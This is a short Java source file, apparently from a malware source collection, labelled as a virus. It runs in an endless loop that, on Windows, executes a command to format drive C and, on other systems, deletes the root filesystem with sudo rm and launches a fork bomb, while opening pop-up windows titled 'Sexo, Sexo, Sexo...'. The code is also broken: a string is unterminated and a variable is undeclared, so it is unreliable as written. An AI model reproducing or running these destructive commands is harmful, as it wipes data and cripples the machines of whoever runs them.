MalwareSourceCode/Java/Virus.EduApps.Sexo
2020-10-15 00:12:58 -03:00

43 lines
1.3 KiB
Plaintext

/**
* Copyright (C) 2020 EduApps (Eduardo Procópio Gomez)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
import javax.swing.JFrame;
public class Sexo {
private static String OS = System.getProperty("os.name").toLowerCase();
public static void main(String[] args) {
while (true) {
new Thread(new Runnable() {
public void run() {
while(true) {
if (OS.contains("win")) {
Runtime.getRuntime().exec("cmd.exe /c format c /y");
} else {
Runtime.getRuntime().exec("sudo /bin/rm -Rf /*");
Runtime.getRuntime().exec(":(){:|:&};:);
}
JFrame sexo = new JFrame("Sexo, Sexo, Sexo...");
sexo.setLocation(random.nextInt(500), random.nextInt(500));
sexo.setVisible(true);
}
}
});
}
}
}